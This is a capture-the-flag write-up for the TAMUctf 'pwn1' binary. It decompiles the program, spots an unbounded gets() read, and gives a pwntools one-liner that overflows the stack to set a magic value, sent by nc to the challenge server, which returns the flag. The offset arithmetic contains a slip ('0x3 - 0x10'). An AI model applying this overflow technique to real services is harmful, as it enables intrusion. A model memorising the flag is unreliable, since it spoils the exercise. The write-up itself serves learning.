# Pwn1Pwn
## Challenge 
nc pwn.tamuctf.com 4321
Difficulty: easy
[pwn1](pwn1)
## Solution
### Solve 1st part...
Lets do a strings
	$ strings pwn1
	Right. Off you go.	flag.txt	Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.	What... is your name?	Sir Lancelot of Camelot	I don't know that! Auuuuuuuugh!	What... is your quest?	To seek the Holy Grail.	What... is my secret?	;*2$"	GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
Here we see some stuff which we can use to answer the questions
	$ ./pwn1 	Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.	What... is your name?		Sir Lancelot of Camelot 	What... is your quest?		To seek the Holy Grail. 	What... is my secret?		;*2$"	I don't know that! Auuuuuuuugh!
So now it correctly answers 2 of the questions. We need to find the secret
### Decompile to understand 2nd part
We do a decompile and we see this. Let's understand it slowly...
	int main(int arg0) {	    stack[2048] = arg0;	    stack[2047] = *(&arg0 + 0xfffffffc);	    stack[2046] = ebp;	    ebp = (esp & 0xfffffff0) - 0x8;	    stack[2045] = ebx;	    stack[2044] = &arg;;	    eax = __x86.get_pc_thunk.bx();	    stack[2027] = 0x0;	    stack[2026] = 0x0;	    stack[2025] = 0x2;	    stack[2024] = **(ebx + 0x1864);	    eax = sub_580();	    *(ebp + 0xfffffff4) = 0x2;	    *(ebp + 0xfffffff0) = 0x0;	    stack[2024] = ebx + 0x200;	    eax = sub_550();	    stack[2024] = ebx + 0x26b;	    eax = sub_550();	    stack[2026] = **(ebx + 0x1860);	    stack[2025] = 0x2b;	    stack[2024] = ebp + 0xffffffc5;	    eax = sub_530();	    stack[2025] = ebx + 0x281;	    stack[2024] = ebp + 0xffffffc5;	    esp = ((((((esp & 0xfffffff0) - 0x60) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10;	    if (sub_510() != 0x0) {	            stack[2024] = "I don't know that! Auuuuuuuugh!";	            eax = sub_550();	            stack[2024] = 0x0;	            esp = (esp - 0x10) + 0x10 - 0x10;	            eax = sub_560();	    }	    stack[2020] = "What... is your quest?";	    eax = sub_550();	    stack[2022] = **0x1ff0;	    stack[2021] = 0x2b;	    stack[2020] = ebp + 0xffffffc5;	    eax = sub_530();	    stack[2021] = "To seek the Holy Grail.\n";	    stack[2020] = ebp + 0xffffffc5;	    esp = (((esp - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10;	    if (sub_510() != 0x0) {	            stack[2020] = "I don't know that! Auuuuuuuugh!";	            eax = sub_550();	            stack[2020] = 0x0;	            esp = (esp - 0x10) + 0x10 - 0x10;	            eax = sub_560();	    }	    stack[2016] = "What... is my secret?";	    eax = sub_550();	    stack[2016] = ebp + 0xffffffc5;	    eax = sub_520();	    esp = ((esp - 0x10) + 0x10 - 0x10) + 0x10;	    if (*(ebp + 0xfffffff0) == 0xdea110c8) {	            eax = print_flag();	    }	    else {	            stack[2016] = "I don't know that! Auuuuuuuugh!";	            eax = sub_550();	            esp = (esp - 0x10) + 0x10;	    }	    eax = 0x0;	    ebx = stack[2019];	    esp = ebp + 0x4;	    ebp = stack[2020];	    esp = stack[2018] + 0xfffffffc;	    return 0x0;	}
We notice it is calling a lot of functions such as `sub_530()`, `sub_510()`
I realise that the code is reading/printing to the console, so these functions must be in charge of STDIO. This made me suspect that it is calling LIBC functions. 
	void sub_530() {	    (*(ebx + 0x14))();	    return;	}
	void sub_510() {	    (*(ebx + 0xc))();	    return;	}
Confirm that the `ebx` points to the GOT table... Look at the GOT table and we see matching addresses.
	             _GLOBAL_OFFSET_TABLE_:	00001fb0         db  0xb8 ; '.'	00001fb1         db  0x1e ; '.'	00001fb2         db  0x00 ; '.'	00001fb3         db  0x00 ; '.'	00001fb4         db  0x00 ; '.'	00001fb5         db  0x00 ; '.'	00001fb6         db  0x00 ; '.'	00001fb7         db  0x00 ; '.'	00001fb8         db  0x00 ; '.'	00001fb9         db  0x00 ; '.'	00001fba         db  0x00 ; '.'	00001fbb         db  0x00 ; '.'	             strcmp@GOT:        // strcmp	00001fbc         dd         0x00003000	             gets@GOT:        // gets	00001fc0         dd         0x00003008	             fgets@GOT:        // fgets	00001fc4         dd         0x0000300c	             _IO_getc@GOT:        // _IO_getc	00001fc8         dd         0x00003010	             puts@GOT:        // puts	00001fcc         dd         0x00003018	             exit@GOT:        // exit	00001fd0         dd         0x00003020	             __libc_start_main@GOT:        // __libc_start_main	00001fd4         dd         0x00003024	             setvbuf@GOT:        // setvbuf	00001fd8         dd         0x0000302c	             fopen@GOT:        // fopen	00001fdc         dd         0x00003030	             putchar@GOT:        // putchar	00001fe0         dd         0x00003034
So now we know some important functions
	ebx     = GOT base [00001fb0]	sub_530 = fgets    [00001fc4]	sub_510 = strcmp   [00001fbc]	sub_520 = gets     [00001fc0]
Let's rewrite the code 
	psuedocode: 	main() {	    // Some initialising first	    setvbuf()	    // ... 	    // Question 1 --------------------------------	    print "What... is your name?"	    fgets()
	    if (strcmp() != 0) // if not matching	    {	        print "I don't know that! Auuuuuuuugh!"	    }
	    // Question 2 --------------------------------	    print "What... is your quest?"	    fgets()
	    if (strcmp() != 0) // if not matching	    {	        print "I don't know that! Auuuuuuuugh!"	    }
	    // Question 3 --------------------------------	    print "What... is my secret?"	    gets()
	    if (*(ebp + 0xfffffff0) == 0xdea110c8) {	        print_flag();	    } else {	        print "I don't know that! Auuuuuuuugh!"	    }	}
Notice that question 3 uses `gets [sub_520]` instead of `fgets [sub_530]`.
Doing this yields no progress
	python -c "\		from pwn import *;		print 'Sir Lancelot of Camelot';		print 'To seek the Holy Grail.'; 		print p32(0xdea110c8);	" | ./pwn1
Hence, now we need to check where `*(ebp + 0xfffffff0)` points to...
In assembly code, the first 2 strcmp checks for `ebp-0x3b`. 	00000865         lea        eax, dword [ebp-0x3b]	00000868         push       eax	00000869         call       sub_510 
But the last one checks for `ebp-0x10`.
	000008b2         cmp        dword [ebp-0x10], 0xdea110c8
Hence, there is a `0x3 - 0x10 = 43 decimal` offset.
Let's verify
	# python -c "\		from pwn import *;		print 'Sir Lancelot of Camelot';		print 'To seek the Holy Grail.'; 		print 'A' * 43 + p32(0xdea110c8);	" | ./pwn1 
	Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.	What... is your name?	What... is your quest?	What... is my secret?	Right. Off you go.	Segmentation fault
Yes, it works. Do on server!
	# python -c "\	from pwn import *;	print 'Sir Lancelot of Camelot';	print 'To seek the Holy Grail.'; 	print 'A' * 43 + p32(0xdea110c8);	" | nc pwn.tamuctf.com 4321
	Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.	What... is your name?	What... is your quest?	What... is my secret?	Right. Off you go.	gigem{34sy_CC428ECD75A0D392}
## Flag
	gigem{34sy_CC428ECD75A0D392}